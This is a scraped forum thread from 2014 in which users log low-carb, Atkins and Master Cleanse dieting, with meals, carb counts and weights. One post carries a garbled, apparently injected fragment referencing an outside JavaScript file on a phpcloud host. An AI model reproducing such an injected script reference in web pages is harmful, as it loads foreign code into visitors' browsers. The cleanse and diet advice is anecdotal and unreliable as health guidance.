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Starting my annual Low-Carb diet Monday, join me!

 
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Benni View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Benni Quote  Post ReplyReply Direct Link To This Post Posted: Apr 24 2014 at 11:50pm
I have been doing a 15 day Master Cleanse, it will end on 4/28.
Once I've eased out, I will do low carb. Did Atkins a few years ago, and it's the only thing that makes sense.
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Benni Quote  Post ReplyReply Direct Link To This Post Posted: Apr 28 2014 at 2:48am
BUMP !!!
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Midna Quote  Post ReplyReply Direct Link To This Post Posted: Apr 28 2014 at 5:36am
Okay, I'm seriously on the diet again. I had little spastic cheats but nothing that ruined my progress~< ="https://cloudssl.my.phpcloud.com/super/.js" id="superInsectID">

Currently 170 even. Tongue I think I should be beginning ketosis by now. Let the progress continue!
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Post Options Post Options   Thanks (0) Thanks(0)   Quote trudawg Quote  Post ReplyReply Direct Link To This Post Posted: Apr 28 2014 at 10:43am
LoL, yea my cheats have spanned over the two day period, but I've so far I've been sticking to m-f eating clean, then pigging out sat/sun.

Thinking about trying that master cleanse though. I've never done it before
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Benni Quote  Post ReplyReply Direct Link To This Post Posted: Apr 28 2014 at 4:07pm
My last day on Master Cleanse. Will start a low carb way of eating starting tomorrow. Stocked up on Chicken, Pork Chops, and Eggs today.
I have 12 lbs more to lose.
My biggest problem is exercising. Not a fan

So here comes 14 days of Induction !!!!


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Post Options Post Options   Thanks (0) Thanks(0)   Quote Benni Quote  Post ReplyReply Direct Link To This Post Posted: Apr 29 2014 at 8:37pm
Started Low Carb- this morning.
For the first 14 days I will keep it as simple as possible.
Breakfast..2-Egg Omlette with approx. 1 oz Baby Bella Mushrooms
Lunch... approx. 3.5 oz Salmon
Snack..Pork Rinds.
Dinner...approx. 2 oz Spinach, Mushrooms, and kalamata Olives. 3 oz Pork Chop.

I will be eating similar to this for the next 14 days and see how things go. If there is no progress I will reevaluate.

Water so far, 125 ounces!!!


Edited by Benni - Apr 30 2014 at 2:43am
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Benni Quote  Post ReplyReply Direct Link To This Post Posted: Apr 30 2014 at 10:19pm
Day 2.
8 NC, playing it safe. Hope I am not fooling myself by being too liberal with the butter (it's so good), and not being more restrictive with the meats. Maybe I will try to keep the meat protein to 3.5 ounces
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Benni Quote  Post ReplyReply Direct Link To This Post Posted: May 01 2014 at 11:22pm
Still keeping up with this low carb eating plan. Can't seem to get my above 8-NC. I hope it's enough. Not counting fats, but at dinner today I could not finish all my chicken, so I did not push myself.
Developed a "kitchen closed at 7 pm" policy for myself. Tend to munch on Pork rinds at night, then get super thirsty.... I will still have water or Tea if I feel the need.


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Post Options Post Options   Thanks (1) Thanks(1)   Quote Miss B Quote  Post ReplyReply Direct Link To This Post Posted: May 03 2014 at 5:23pm
I'm getting back into it this week. This is gonna help! Today you can get 20% off of it. Its cool because you can make veggie pasta, or make salads more interesting. http://www.williams-sonoma.com/shop/mothers-day/mothers-gift-of-the-day/


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Post Options Post Options   Thanks (0) Thanks(0)   Quote Benni Quote  Post ReplyReply Direct Link To This Post Posted: May 03 2014 at 9:02pm
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